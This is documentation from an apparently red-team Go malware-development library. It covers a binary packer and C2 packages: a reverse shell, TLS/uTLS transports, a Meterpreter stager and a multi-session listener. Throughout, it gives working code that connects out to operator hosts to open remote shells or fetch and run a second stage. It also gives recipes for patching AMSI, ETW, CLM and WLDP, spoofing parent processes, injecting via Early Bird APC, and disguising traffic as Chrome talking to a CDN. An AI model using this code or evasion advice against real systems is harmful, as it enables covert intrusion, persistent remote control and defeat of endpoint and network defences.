  • Different sha256s (obviously).
  • The plain binary leaks the string hello from a packed binary!.
  • The packed binary doesn't (encrypted, recovered at runtime).

That's the core OPSEC win: static analysis of the packed binary can't see your payload.

Step 5 — run it on a Windows host

If you have a Windows VM (or any Win10+ host with the file copied over):

hello-packed.exe

You should see: hello from a packed binary! printed on stdout. The packed binary self-decrypts at runtime, jumps to the original entry point, your program runs normally.

What just happened

sequenceDiagram
    participant Disk as hello-packed.exe (disk)
    participant Loader as Windows loader
    participant Stub as Stage1 stub
    participant OEP as Original entry

    Disk->>Loader: LoadImage
    Loader->>Stub: jump to AddressOfEntryPoint
    Note over Stub: SGN decode (N rounds)
    Stub->>Stub: decrypt .text in place
    Stub->>OEP: jmp original_entrypoint
    OEP->>OEP: runtime.rt0_amd64
    OEP->>OEP: main.main

The stub at the new entry point peels off N rounds of SGN encoding, restores the original .text section in memory, then jumps to where the Go program expected to start.

Where to next

You now know how to:

  • Build a maldev-managed binary.
  • Pack it with the SGN+LZ4 stub.
  • Verify the packing actually changed the on-disk artefact.

Pick a direction:

If you want the full chain (encrypt → evasion → inject → cleanup) walk through the Full chain cookbook entry.

C2 techniques

← maldev README · docs/index

The c2/* package tree is the implant's outbound communication layer plus the operator's listener side. Six sub-packages compose into a complete reverse-shell / staging / multi-session stack:

flowchart LR
    subgraph implant [Implant side]
        S[c2/shell<br>reverse shell]
        M[c2/meterpreter<br>MSF stager]
    end
    subgraph wire [Wire]
        T[c2/transport<br>TCP / TLS / uTLS]
        NP[c2/transport/namedpipe<br>SMB pipes]
        Cert[c2/cert<br>mTLS certs + pinning]
        T -.uses.-> Cert
    end
    subgraph operator [Operator side]
        MC[c2/multicat<br>multi-session listener]
    end
    S --> T
    S --> NP
    M --> T
    T --> MC
    NP --> MC

Where to start (novice path):

  1. reverse-shell — the canonical "land a shell, react when it drops" loop. Most operators start and end here.
  2. transport — pick TCP / TLS / uTLS based on what defenders inspect (table at top of that page).
  3. namedpipe — for local IPC or SMB lateral movement when network egress isn't an option.
  4. meterpreter — when the engagement needs a full MSF session, not just a shell.
  5. multicat — operator-side listener when you have more than one agent. NEVER ship in implants.

Packages

PackageTech pageDetectionOne-liner
c2/shellreverse-shell.mdnoisyreverse shell with PTY + auto-reconnect + AMSI/ETW evasion hooks
c2/meterpretermeterpreter.mdnoisyMSF stager (TCP / HTTP / HTTPS) with optional inject.Injector for stage delivery
c2/transporttransport.md · malleable-profiles.mdmoderatepluggable TCP / TLS / uTLS + malleable HTTP profiles
c2/transport/namedpipenamedpipe.mdquietWindows named-pipe transport (local IPC + SMB lateral)
c2/certtransport.mdquietself-signed X.509 generation + SHA-256 fingerprint pinning
c2/multicatmulticat.mdquietoperator-side multi-session listener (BANNER protocol)

Quick decision tree

You want to…Use
…land a reverse shell that survives dropsc2/shell.New + c2/transport
…blend C2 with browser TLS fingerprintsc2/transport uTLS profile (Chrome / Firefox / iOS Safari)
…pin the operator certificate against TLS-MITMc2/cert.Fingerprint + transport PinSHA256
…carry C2 over local IPC / SMB lateralc2/transport/namedpipe
…stage a Meterpreter session with inject middlewarec2/meterpreter + Config.Injector
…disguise HTTP traffic as jQuery CDN fetchesmalleable-profiles.md
…host many simultaneous reverse-shell agentsc2/multicat on the operator box

MITRE ATT&CK

T-IDNamePackagesD3FEND counter
T1071Application Layer Protocolc2/transport (HTTP/TLS), c2/transport/namedpipeD3-NTA
T1071.001Web Protocolsc2/transport (malleable), c2/meterpreter (HTTP/HTTPS)D3-NTA
T1573Encrypted Channelc2/transport (TLS)D3-NTA
T1573.002Asymmetric Cryptographyc2/cert (mTLS)D3-NTA
T1095Non-Application Layer Protocolc2/transport (raw TCP)D3-NTA
T1059Command and Scripting Interpreterc2/shellD3-PSA
T1571Non-Standard Portc2/multicatD3-NTA
T1021.002SMB/Admin Sharesc2/transport/namedpipe (cross-host)D3-NTA

See also

Reverse shell

← c2 index · docs/index

TL;DR

Implant calls home over any c2/transport and pipes a local interpreter (cmd.exe or /bin/sh) over the connection. The loop reconnects on drop with configurable retry count and back-off delay. Unix path allocates a PTY for full interactive use; Windows path uses direct cmd.exe I/O and optionally patches AMSI / ETW / CLM / WLDP + disables PowerShell history before the shell starts.

You want…UseNotes
One-shot reverse shell over TCP/TLS/uTLSReverseBlocks until interpreter exits or transport drops
Auto-reconnect loopReverseLoopRetries N times with back-off; useful for long-running access
Spoof the spawn's parent processConfig.PPIDSpoofer (Windows)See evasion/ppid-spoofing
Silence telemetry before shell startsConfig.PreShell = preset.Stealth()Patches AMSI / ETW / CLM / WLDP — useful for PowerShell

What this DOES achieve:

  • Cross-platform. Windows uses cmd.exe; Unix allocates a PTY for full readline / vi support.
  • Optional pre-shell evasion (Windows): silence AMSI + ETW, disable PowerShell history, opt out of WLDP — done before the shell launches so the operator's first command isn't the loud one.
  • Composable transport — same shell code works over TCP / TLS / uTLS based on Config.Transport.

What this does NOT achieve:

  • Not a beacon — this is a long-lived TCP/TLS pipe, not a poll-based check-in. For sleep-mask / encrypted-page beacons, build on top with evasion/sleepmask.
  • No staging — the interpreter (cmd.exe) is already on the target. For shellcode delivery / .NET assembly run, see pe/srdi + runtime/clr.
  • cmd.exe is loud — process-creation event with cmd.exe parent = your implant fires every EDR's "command shell from non-shell process" rule. Use PPIDSpoofer + preset.Stealth to mute the worst signals; a real beacon stays cleaner.

Primer

Network firewalls typically allow outbound connections and block inbound ones, so a "reverse" shell calls out from the target to the operator. The operator runs a listener; the implant runs a short program that opens an outbound socket, fork-execs a local interpreter, and wires the interpreter's stdio to the socket.

Two common failure modes need explicit handling. Connections drop — the package wraps the connect / pipe loop in an automatic reconnect loop with configurable retry count and delay. Interpreter behaviour on Windows differs from Unix — Unix needs a PTY for vim / top / job control to work; Windows needs no PTY but does need careful stdio handling. The package abstracts both differences behind a single Shell type.

The Windows code path also exposes optional defence-patching: AMSI disable (so PowerShell stages survive scanning), ETW patching (so provider-based EDRs go quiet), CLM bypass (Constrained Language Mode restrictions disabled), WLDP patching (Windows Lockdown Policy relaxed), and PowerShell history disable (so Get-History post-mortem returns nothing).

How it works

stateDiagram-v2
    [*] --> Idle
    Idle --> Connecting : Start(ctx)
    Connecting --> Running : Connect OK
    Connecting --> Backoff : Connect fail
    Backoff --> Connecting : delay elapsed
    Running --> Backoff : transport drop
    Running --> Stopping : Stop()
    Backoff --> Stopping : Stop()
    Stopping --> [*] : Wait()

The Shell runs a strict state machine — Start is rejected on a running shell; Stop is rejected on an idle one. Transitions are mutex-guarded.

sequenceDiagram
    participant Op as "Operator listener"
    participant Imp as "Implant"
    participant Sh as "Local interpreter"

    loop until Stop or max retries
        Imp->>Op: transport.Connect()
        alt success
            Imp->>Sh: spawn cmd.exe / /bin/sh (PTY on Unix)
            Sh-->>Imp: stdio
            par implant→operator
                Imp->>Op: copy(stdin → socket)
            and operator→implant
                Op->>Imp: copy(socket → stdout)
            end
            Note over Imp: socket dropped<br>or Stop()
            Imp->>Sh: kill child
        else fail
            Imp->>Imp: backoff(delay)
        end
    end

API → godoc

pkg.go.dev/github.com/oioio-space/maldev/c2/shell is the authoritative reference for every exported symbol. This page teaches the concepts; the godoc is the specification.

Examples

Simple

import (
    "context"
    "time"

    "github.com/oioio-space/maldev/c2/shell"
    "github.com/oioio-space/maldev/c2/transport"
)

tr := transport.NewTCP("10.0.0.1:4444", 10*time.Second)
sh := shell.New(tr, nil)
_ = sh.Start(context.Background())
sh.Wait()

Composed (TLS + cert pin)

import (
    "context"
    "time"

    "github.com/oioio-space/maldev/c2/shell"
    "github.com/oioio-space/maldev/c2/transport"
)

const operatorPin = "AB:CD:..." // SHA-256

tr := transport.NewTLS("operator.example:8443", 10*time.Second, "", "",
    transport.WithTLSPin(operatorPin))
sh := shell.New(tr, nil)
_ = sh.Start(context.Background())
sh.Wait()

Advanced (defence patching + PPID spoof + uTLS)

import (
    "context"
    "os/exec"
    "time"

    "github.com/oioio-space/maldev/c2/shell"
    "github.com/oioio-space/maldev/c2/transport"
)

_ = shell.PatchDefenses()

spoof := shell.NewPPIDSpoofer()
if err := spoof.FindTargetProcess(); err == nil {
    // The spoofer publishes a SysProcAttr the shell layer applies
    // to the spawned cmd.exe.
    _ = spoof
}

tr := transport.NewUTLS("operator.example:443", 10*time.Second,
    transport.WithJA3Profile(transport.HelloChromeAuto),
    transport.WithSNI("cdn.jsdelivr.net"),
    transport.WithUTLSFingerprint("AB:CD:..."))

cfg := shell.DefaultConfig()
cfg.MaxRetries = 100
cfg.RetryDelay = 30 * time.Second

sh := shell.New(tr, cfg)
_ = sh.Start(context.Background())
sh.Wait()
_ = exec.Command // silence unused import in extracted snippet

Complex (full chain — evade + spoof + uTLS + reconnect forever)

import (
    "context"
    "time"

    "github.com/oioio-space/maldev/c2/shell"
    "github.com/oioio-space/maldev/c2/transport"
    "github.com/oioio-space/maldev/evasion"
    "github.com/oioio-space/maldev/evasion/preset"
)

_ = evasion.ApplyAll(preset.Stealth(), nil) // AMSI/ETW/CLM/WLDP/...
_ = shell.PatchDefenses()                   // belt + braces

tr := transport.NewUTLS("operator.example:443", 10*time.Second,
    transport.WithJA3Profile(transport.HelloChromeAuto),
    transport.WithSNI("cdn.jsdelivr.net"),
    transport.WithUTLSFingerprint("AB:CD:..."))

cfg := shell.DefaultConfig()
cfg.MaxRetries = 0 // 0 = unlimited
cfg.RetryDelay = 60 * time.Second

sh := shell.New(tr, cfg)
ctx, cancel := context.WithCancel(context.Background())
defer cancel()
_ = sh.Start(ctx)
sh.Wait()

See ExampleNew in shell_example_test.go.

OPSEC & Detection

ArtefactWhere defenders look
Outbound TCP from a non-network processSysmon Event 3, EDR egress hooks
cmd.exe / powershell.exe child of an unusual parentSysmon Event 1 — pair with PPIDSpoofer to reshape
AMSI / ETW patch bytes in ntdll/amsi.dllMemory scanners (Defender, MDE Live Response)
Beacon timing patternsBehavioural NIDS — randomise RetryDelay jitter
Long-lived cmd.exe with redirected stdioProcess-explorer anomaly

D3FEND counters:

  • D3-OCA — outbound-connection profiling.
  • D3-PSAcmd.exe parentage and command-line analysis.
  • D3-NTA — TLS handshake + content metadata.

Hardening for the operator: prefer uTLS over plain TLS; pair PatchDefenses and PPID spoofing; randomise RetryDelay with random.Duration; fold the shell into a longer-lived host process that legitimately spawns command interpreters (maintenance scripts, build agents).

MITRE ATT&CK

T-IDNameSub-coverageD3FEND counter
T1059Command and Scripting Interpreterreverse-shell harnessD3-PSA
T1059.001PowerShellwhen child is powershell.exeD3-PSA
T1059.003Windows Command Shellwhen child is cmd.exeD3-PSA
T1059.004Unix ShellUnix code pathD3-PSA

Limitations

  • Reverse shells are inherently noisy. No amount of jitter defeats a determined defender with full network visibility. Use uTLS + malleable profiles and accept that the shell is a short-lifetime tool.
  • PatchDefenses is best-effort. AMSI/ETW patches survive within the current process only. Spawned children inherit patched ntdll; re-spawned shells from a different host process do not.
  • PTY only on Unix. Windows lacks a true PTY — interactive applications (vim, full-screen TUIs) misbehave.
  • PPID spoof requires admin or specific process ACLs. Some targets refuse cross-session parent pinning even from elevated processes.

See also

Transport (TCP / TLS / uTLS)

← c2 index · docs/index

TL;DR

Network layer behind every reverse shell, stager, or beacon. You pick the flavour based on what defenders inspect:

You're up against…UseWhat it defeats
Plaintext payload signatures, port-watching IDSTLS (Dial)DPI sees encrypted bytes only
TLS-aware DPI matching server cert SHA-256TLS + cert pinningMITM with a re-issued cert fails the pin check
JA3/JA4-based handshake fingerprinting (most modern EDR/proxies)uTLS (UTLSConfig)TLS ClientHello looks byte-for-byte like Chrome / Firefox / iOS Safari
Plaintext for testing onlyTCP (TCPConfig)Nothing — debug use only

Pair with c2/cert to generate the operator's mTLS material and pin it on the implant side.

What this DOES achieve:

  • Pluggable: every reverse shell / stager / beacon in maldev takes a transport.Config so the same payload flips between TCP / TLS / uTLS without recompiling.
  • JA3/JA4 cover via uTLS — the canonical "implant looks like a browser" technique. Burp / mitmproxy can't readily detect.
  • Optional certificate pinning by SHA-256 fingerprint — catches attempted MITM even when the attacker gets a valid cert from a public CA.

What this does NOT achieve:

  • Doesn't hide that an outbound connection happened — netflow logs see "implant.exe → 1.2.3.4:443" regardless of TLS. Pair with evasion/preset.Stealth to silence ETW network providers from this process.
  • uTLS fingerprint freshness — Chrome / Firefox update their ClientHello frequently; an old uTLS preset becomes its own fingerprint. Bump go-utls when shipping fresh campaigns.
  • No domain fronting / no CDN routing — operator infra is whatever IP the implant connects to. For domain fronting, use a CDN that supports SNI rewrite outside this package.

Primer

Network-layer detection of C2 splits into two camps. The first reads bytes — payload signatures, cleartext shell prompts, beacon intervals. TLS defeats this layer for any well-behaved configuration. The second reads metadata — TLS handshake fingerprints (JA3/JA4), certificate properties, SNI patterns, ALPN choices. Go's stdlib TLS emits a fingerprint that is unmistakably "Go program, not a browser", and a self-signed cert without a chain to a public CA is its own flag.

This package addresses both. The TLS transport handles encryption plus optional certificate pinning — the implant refuses to talk to anyone whose certificate hash does not match a hard-coded value, so any TLS-inspection middlebox that re-signs traffic with a corporate CA is dropped. The UTLS transport replaces Go's TLS handshake with refraction-networking/utls, which mimics real browser ClientHello bytes — the network monitor sees "Chrome 124 connecting to a CDN", not "Go program with a Go-fingerprint ClientHello".

How it works

flowchart TD
    Pick{Config.UseTLS / UseUTLS} -->|raw| TCP[TCP transport]
    Pick -->|TLS| TLS[TLS transport<br>+ optional cert pin]
    Pick -->|uTLS| UT[uTLS transport<br>JA3 profile pinned]
    TCP --> Wire((wire))
    TLS --> Wire
    UT --> Wire
    Wire -->|defenders see| NetMon[network monitor<br>DPI + JA3 + cert]

All transports implement the same five-method Transport interface:

type Transport interface {
    Connect(ctx context.Context) error
    Read(p []byte) (int, error)
    Write(p []byte) (int, error)
    Close() error
    RemoteAddr() net.Addr
}

The Listener interface is the operator-side counterpart, used by c2/multicat to accept agents.

TLS fingerprint pinning

sequenceDiagram
    participant Imp as "Implant"
    participant MITM as "TLS-inspection proxy"
    participant Op as "Operator handler"

    Imp->>MITM: ClientHello
    MITM->>Op: ClientHello (re-originated)
    Op-->>MITM: ServerHello + cert (operator)
    MITM-->>Imp: ServerHello + cert (proxy CA-signed)
    Imp->>Imp: verifyFingerprint(cert) → mismatch
    Imp->>MITM: TLS abort

Config.PinSHA256 (or WithUTLSFingerprint(...) for the uTLS variant) holds the operator's certificate hash. The implant rejects any certificate whose hash does not match — even if the corporate TLS-inspection CA is in the system trust store.

API → godoc

pkg.go.dev/github.com/oioio-space/maldev/c2/transport is the authoritative reference for every exported symbol. This page teaches the concepts; the godoc is the specification.

Examples

Simple

Plain TCP for a localhost or already-tunnelled scenario:

tr := transport.NewTCP("10.0.0.1:4444", 10*time.Second)
if err := tr.Connect(context.Background()); err != nil {
    return err
}
_, _ = tr.Write([]byte("hello"))

Composed (TLS + cert pin)

Operator generates a cert and computes its fingerprint:

import "github.com/oioio-space/maldev/c2/cert"

_ = cert.Generate(cert.DefaultConfig(), "server.crt", "server.key")
fp, _ := cert.Fingerprint("server.crt")
fmt.Println("pin:", fp) // → embed in implant

Implant pins it:

tr := transport.NewTLS(
    "operator.example:8443",
    10*time.Second,
    "", "", // no client cert
    transport.WithTLSPin(fp),
)
_ = tr.Connect(context.Background())

Any TLS-inspection proxy that re-signs the certificate fails the pin check.

Advanced (uTLS with Chrome JA3 + SNI)

tr := transport.NewUTLS(
    "operator.example:443",
    10*time.Second,
    transport.WithJA3Profile(transport.HelloChromeAuto),
    transport.WithSNI("cdn.jsdelivr.net"),
    transport.WithUTLSFingerprint(fp),
)
_ = tr.Connect(context.Background())

Network monitor sees a Chrome TLS handshake to a CDN; the SNI hides the real destination behind a benign-looking name.

Complex (full stack: cert + uTLS + shell + evasion)

import (
    "context"
    "time"

    "github.com/oioio-space/maldev/c2/shell"
    "github.com/oioio-space/maldev/c2/transport"
    "github.com/oioio-space/maldev/evasion"
    "github.com/oioio-space/maldev/evasion/preset"
)

const operatorPin = "AB:CD:..." // SHA-256 hex

_ = evasion.ApplyAll(preset.Stealth(), nil)

tr := transport.NewUTLS(
    "operator.example:443",
    10*time.Second,
    transport.WithJA3Profile(transport.HelloChromeAuto),
    transport.WithSNI("cdn.jsdelivr.net"),
    transport.WithUTLSFingerprint(operatorPin),
)

sh := shell.New(tr, nil)
_ = sh.Start(context.Background())
sh.Wait()

OPSEC & Detection

ArtefactWhere defenders look
Go-fingerprint TLS ClientHello (JA3)Zeek ssl.log, JA3-aware NIDS — bypass with NewUTLS + WithJA3Profile
Self-signed certificate without trusted chainNetwork DLP / TLS-inspection logs — bypass by signing through a real CA on the operator side, or accepting the self-signed flag and pinning
Unusual SNI / no SNIModern NIDS flag absent or randomised SNIs — set WithSNI to a plausible CDN host
Certificate-pin failure on re-signed trafficThis is the desired outcome on the implant side — but the abrupt connection drop is itself a signal
Beacon timing / response sizesBehavioural NIDS clusters periodic short connections — randomise jitter at the shell layer

D3FEND counters:

  • D3-NTA — JA3 / SNI / cert-property correlation.
  • D3-DNSTA — DNS-resolution patterns ahead of C2 connect.
  • D3-NTPM — egress proxy enforcement.

Hardening for the operator: prefer uTLS over plain TLS; pick an SNI that resolves on the actual CDN and use a matching IP; rotate certificates between campaigns; combine with malleable HTTP profiles for traffic that survives even content inspection.

MITRE ATT&CK

T-IDNameSub-coverageD3FEND counter
T1071Application Layer ProtocolTLS / uTLS / malleable HTTPD3-NTA
T1573Encrypted ChannelTLS familyD3-NTA
T1573.002Asymmetric CryptographymTLS via c2/certD3-NTA
T1095Non-Application Layer Protocolraw TCPD3-NTA

Limitations

  • Pin must travel with the implant. A hard-coded SHA-256 in the binary is recoverable by static analysis. Prefer build-time injection via //go:embed from a per-campaign cert.
  • uTLS adds binary weight. ~500 KB of crypto + parser code. For shellcode-tier implants, fall back to TLS with pinning.
  • JA3 profiles age. Browser TLS handshakes evolve; refresh the uTLS dependency every few months and verify the chosen profile is still indistinguishable from current Chrome / Firefox.
  • Pin failure is loud. Connection abort with a zero-length read is itself a signal. Expect that the campaign is burned the moment the corporate proxy starts rewriting traffic.

See also

Meterpreter stager

← c2 index · docs/index

TL;DR

You want a Meterpreter session on the target without shipping the full Meterpreter binary (hundreds of KB, signature-rich). The classical pattern: a tiny stager pulls the second stage from your MSF multi/handler over the network and executes it in-process.

You want…UseNotes
Self-inject the stage in current processmeterpreter.Run (default — no Config.Injector)Simplest. Stage runs as your implant's process.
Inject the stage into a sacrificial childConfig.Injector = inject.NewWindowsInjector(...) with Early Bird APC etc.Survives implant exit. Spoof PPID + args for cover.
Linux targetmeterpreter.RunELF wrapper needs the live socket fd; Config.Injector is rejected on Linux.

Transport options: TCP, HTTP, HTTPS, all routed through c2/transport (so you get TLS pinning, uTLS, etc. for free).

What this DOES achieve:

  • Operator gets a full MSF session — file ops, port forwarding, privilege escalation modules, the lot.
  • Stager is small enough to fit in a Donut shellcode payload or any inject.* flow.
  • Cross-platform — same Go code stages on Windows / Linux.

What this does NOT achieve:

  • Doesn't hide that you're staging Meterpreter — once the stage is in memory, MZ header + ReflectiveLoader byte signature flag every memory scanner. Pair with evasion/sleepmask so the bytes hide between callbacks.
  • No automatic OPSEC for MSF traffic — the second stage is Meterpreter as-is. Defenders running detection on its protocol see standard MSF traffic. Use malleable-profiles to wrap HTTP staging only; the post-stage protocol is what MSF speaks.
  • Network requirement — needs egress to your handler. For air-gapped or fully-offline ops, build a custom payload with pe/srdi instead.

Primer

Metasploit's Meterpreter is the canonical post-exploitation toolkit. It is too big to embed (~hundreds of KB), so attacks split it in two: a stager small enough to fit in a shellcode payload or a Go binary, and a stage (the full Meterpreter DLL or ELF) fetched at runtime over the network. The stager opens a connection to the handler, reads the stage as raw bytes, copies it into executable memory, and jumps to the entry point.

Two parts of that flow are worth abstracting. First, the fetch is identical across Meterpreter implementations — connect, read four length bytes, read the stage, hand the buffer to the executor. Second, the execute is the most variable: a real engagement uses the inject package's full surface (Early Bird APC, indirect syscalls, XOR encoding, CPU delay) to defeat host-side telemetry. The package exposes a clean Config.Injector knob so the same stager works across stealth tiers.

The HTTP / HTTPS variants implement Metasploit's URI-checksum format expected by the handler (/<8 random chars> with a checksum byte). HTTPS supports InsecureSkipVerify for self-signed handlers and a configurable timeout.

How it works

sequenceDiagram
    participant Imp as "Implant (Stager)"
    participant H as "MSF multi/handler"

    Imp->>H: connect (TCP / HTTP GET / HTTPS GET)
    H-->>Imp: stage length (4 bytes)
    Imp->>H: read stage
    H-->>Imp: stage bytes (~200 KB DLL or ELF)

    alt Config.Injector set (Windows)
        Imp->>Imp: inj.Inject(stage)
    else default self-injection
        Imp->>Imp: VirtualAlloc(RW) + RtlMoveMemory(stage)
        Imp->>Imp: VirtualProtect(RX) + CreateThread
    end

    Note over Imp: Meterpreter session live on the same TCP / HTTPS connection

API → godoc

pkg.go.dev/github.com/oioio-space/maldev/c2/meterpreter is the authoritative reference for every exported symbol. This page teaches the concepts; the godoc is the specification.

Examples

Simple

import (
    "context"
    "time"

    "github.com/oioio-space/maldev/c2/meterpreter"
)

cfg := &meterpreter.Config{
    Transport: meterpreter.TCP,
    Host:      "192.168.1.10",
    Port:      "4444",
    Timeout:   30 * time.Second,
}
_ = meterpreter.NewStager(cfg).Stage(context.Background())

Composed (HTTPS + InsecureSkipVerify)

cfg := &meterpreter.Config{
    Transport:   meterpreter.HTTPS,
    Host:        "operator.example",
    Port:        "8443",
    Timeout:     30 * time.Second,
    TLSInsecure: true,
}
_ = meterpreter.NewStager(cfg).Stage(context.Background())

Advanced (custom injector — Early Bird APC + indirect syscalls + XOR)

import (
    "context"
    "time"

    "github.com/oioio-space/maldev/c2/meterpreter"
    "github.com/oioio-space/maldev/inject"
)

inj, _ := inject.Build().
    Method(inject.MethodEarlyBirdAPC).
    ProcessPath(`C:\Windows\System32\notepad.exe`).
    IndirectSyscalls().
    WithFallback().
    Use(inject.WithXORKey(0x41)).
    Use(inject.WithCPUDelayConfig(inject.CPUDelayConfig{MaxIterations: 10_000_000})).
    Create()

cfg := &meterpreter.Config{
    Transport: meterpreter.TCP,
    Host:      "192.168.1.10",
    Port:      "4444",
    Timeout:   30 * time.Second,
    Injector:  inj,
}
_ = meterpreter.NewStager(cfg).Stage(context.Background())

Complex (remote inject into existing PID + HTTPS staging)

import "github.com/oioio-space/maldev/inject"

inj, _ := inject.Build().
    Method(inject.MethodCreateRemoteThread).
    TargetPID(1234).
    IndirectSyscalls().
    WithFallback().
    Create()

cfg := &meterpreter.Config{
    Transport:   meterpreter.HTTPS,
    Host:        "operator.example",
    Port:        "8443",
    Timeout:     30 * time.Second,
    TLSInsecure: true,
    Injector:    inj,
}
_ = meterpreter.NewStager(cfg).Stage(context.Background())

See ExampleNewStager in meterpreter_example_test.go.

OPSEC & Detection

ArtefactWhere defenders look
Meterpreter wire formatSnort / Suricata signatures match all three transport types out of the box
MSF URI checksum pattern (/<8 chars> GET)NIDS hunt rules
Stage in-memory after decryptDefender / MDE memory scan — Meterpreter's reflective DLL has known signatures
CreateThread at a non-image start addressKernel thread-create callback — defeated by switching to MethodEarlyBirdAPC or similar via Config.Injector

D3FEND counters:

  • D3-OCA — outbound-connection profiling.
  • D3-FCR — YARA rules on the unpacked stage.

Hardening for the operator: always set Config.Injector for Windows engagements; combine with c2/transport uTLS + cert pinning; use a payload encryptor (Veil, ScareCrow, or crypto.EncryptAESGCM on a custom stage) so the in-memory bytes do not match Meterpreter's public reflective-DLL signature.

MITRE ATT&CK

T-IDNameSub-coverageD3FEND counter
T1059Command and Scripting Interpreterpost-stage Meterpreter shellD3-PSA
T1055Process Injectionwhen Config.Injector is setD3-PSA
T1071.001Application Layer Protocol: Web ProtocolsHTTP/HTTPS variantsD3-NTA
T1095Non-Application Layer ProtocolTCP variantD3-NTA

Limitations

  • Linux Injector unsupported. The ELF wrapper protocol needs the live socket fd; Stage returns an error if cfg.Injector != nil on Linux.
  • Public stage signatures. Defender, CrowdStrike, and SentinelOne fingerprint the unmodified Meterpreter reflective DLL. Custom-built stages (or crypto-wrapped stages your handler decrypts) are required against modern AV.
  • Self-injection default is loud. VirtualAlloc + CreateThread is the textbook process-injection chain. Always set Config.Injector against any non-trivial defender.
  • Single connection. No reconnect logic — if the stage download fails, the stager exits. Wrap in a higher-level retry loop or use c2/shell with a custom protocol if reconnect is needed.

See also

Multicat — multi-session listener

← c2 index · docs/index

TL;DR

Operator-side counterpart to c2/shell. One Listener, many concurrent agents. Each inbound connection gets a sequential session ID, optional BANNER-encoded hostname metadata, and a lifecycle event (EventOpened / EventClosed) on the manager's channel. Sessions are in-memory only — they do not survive a manager restart. Never embedded in the implant.

You want to…UseNotes
Accept multiple incoming reverse-shell agentsManager.ServeWraps any c2/transport listener. Single port, many sessions.
React to agent connect/disconnect eventsManager.Events() channelEventOpened{ID, Hostname} + EventClosed{ID}
Send commands to a specific sessionManager.Session(id).Write(...)Per-session R/W; the operator picks who runs what
Persist sessions across restartNot supportedWrap Manager with your own state file; in-memory by design

Operator-side only: this is the listener that runs on your C2 box. NEVER include c2/multicat in implant builds — it would create a listener on the target.

What this DOES achieve:

  • Replaces nc -lvp for ops with more than one host.
  • Same transport flexibility as the implant side: TCP / TLS / uTLS / named pipes (when you receive over an SMB pipe) all work.
  • Optional BANNER:<hostname>\n hello so the operator's UI can label sessions ("dc01" / "ws-finance-3") instead of 192.168.1.5:34521.

What this does NOT achieve:

  • Not a TUI / UI — it's a manager library. Build your own CLI / web UI on top using the events channel.
  • No persistence — manager restart = all sessions lost. Implants reconnect on drop (c2/shell.ReverseLoop), so sessions reappear quickly under their new IDs.
  • No authentication — first connection in is session 1, no shared-secret check. Pair the transport with c2/transport cert pinning + mTLS to gate access.

Primer

Engagements with more than one host quickly outgrow a single nc -lvp 4444. Multicat is a thin manager that owns one transport Listener, accepts every incoming agent, assigns a session ID, optionally reads a BANNER:<hostname>\n hello line, and emits a typed event so an operator UI (TUI, web dashboard, anything) can render an arrival / departure stream.

The wire protocol is intentionally tiny: when an agent connects, multicat reads the first line with a 500 ms deadline. If the line matches BANNER:<hostname>\n, it populates SessionMetadata.Hostname. All other bytes are part of the normal shell I/O stream and pass through. Agents that do not implement BANNER are unaffected.

The package never runs on a target — it is operator infrastructure. That keeps the detection surface zero.

How it works

sequenceDiagram
    participant Agent as "Implant (c2/shell)"
    participant Mgr as "multicat.Manager"
    participant Op as "Operator UI"

    Agent->>Mgr: Connect (transport)
    Mgr->>Mgr: assign session ID
    Mgr->>Agent: read first line (500ms deadline)
    Agent-->>Mgr: BANNER:lab-host-01\n  (optional)
    Mgr->>Op: Event{Type: EventOpened, Session: …}
    Note over Agent,Mgr: full-duplex shell I/O
    Agent->>Mgr: connection drop
    Mgr->>Op: Event{Type: EventClosed, Session: …}

API → godoc

pkg.go.dev/github.com/oioio-space/maldev/c2/multicat is the authoritative reference for every exported symbol. This page teaches the concepts; the godoc is the specification.

Examples

Simple

import (
    "context"
    "fmt"

    "github.com/oioio-space/maldev/c2/multicat"
    "github.com/oioio-space/maldev/c2/transport"
)

ln, _ := transport.NewTCPListener(":4444")
mgr := multicat.New()
go func() { _ = mgr.Listen(context.Background(), ln) }()

for ev := range mgr.Events() {
    if ev.Type == multicat.EventOpened {
        fmt.Printf("[+] %s from %s\n", ev.Session.Meta.Hostname, ev.Session.Meta.RemoteAddr)
    }
}

Composed (TLS listener + BANNER agents)

Operator side:

ln, _ := transport.NewTLSListener(":8443", "server.crt", "server.key")
mgr := multicat.New()
go mgr.Listen(context.Background(), ln)

Agent side (in c2/shell extension or custom code):

_, _ = conn.Write([]byte("BANNER:" + osHostname + "\n"))

Advanced (channel multiplexer routing into a TUI)

go func() {
    for ev := range mgr.Events() {
        switch ev.Type {
        case multicat.EventOpened:
            ui.Add(ev.Session)
        case multicat.EventClosed:
            ui.Remove(ev.Session.Meta.ID)
        }
    }
}()

Complex

The Manager does not own session selection or interactive "foreground" semantics — that is the operator UI's job. See cmd/rshell for a reference TUI.

See ExampleNew in multicat_example_test.go.

OPSEC & Detection

This package never executes on a target. The only relevant signals are on the agent side (reverse-shell.md).

The operator-side listener is an inbound TCP / TLS port on the operator's box. Common operator-hygiene practices apply: bind on a private interface, front with a redirector (Apache rewrite, Cloudflare worker), put it behind a single jump host.

MITRE ATT&CK

T-IDNameSub-coverageD3FEND counter
T1571Non-Standard Portlistener typically binds a high non-standard portD3-NTA

Limitations

  • In-memory state. Restarting the manager loses every session. Persist out-of-band (log file, database) if the engagement needs continuity.
  • No interactive multiplexer. The package emits events; the operator UI implements foreground selection, scroll-back, kill-on- exit. cmd/rshell is the reference TUI.
  • BANNER deadline is 500 ms. Lossy networks may miss the BANNER line and treat the bytes as shell I/O. The agent should retry or fall back to inline BANNER once authenticated.
  • No authentication. multicat accepts whoever the listener hands it. For mTLS, configure on the listener (c2/cert).

See also

Named-pipe transport

← c2 index · docs/index

TL;DR

Windows named-pipe implementation of the c2/transport Transport and Listener interfaces. Lets implants beacon over local IPC (no socket, no firewall, no NIDS visibility) or over SMB to another host (lateral C2 routed through the file-share redirector). Pipe traffic is the textbook example of "looks like normal Windows".

You want…Pipe pathCrosses host?
Local IPC C2 (parent ↔ child, two implants on same host)\\.\pipe\xxxNo — kernel-only. Invisible to NIDS / netflow.
Lateral C2 from one host to another over SMB\\target-host\pipe\xxxYes — over SMB to the target. Looks like normal Windows file-share traffic.
Long-running listener on the agent hostListenOne server pipe; accepts multiple connections sequentially or via reconnect-on-drop

What this DOES achieve:

  • Local-IPC C2 has zero network footprint — netflow, firewall, NIDS see nothing. Defender memory-scan or process-tree analysis is the only path that catches it.
  • SMB pipe lateral C2 blends into normal Windows file-share traffic. Networks that allow \\dc01\sysvol access already allow your pipe.
  • Same Transport interface as TCP / TLS / uTLS — every shell / stager / beacon in maldev works over named pipes by changing one config field.

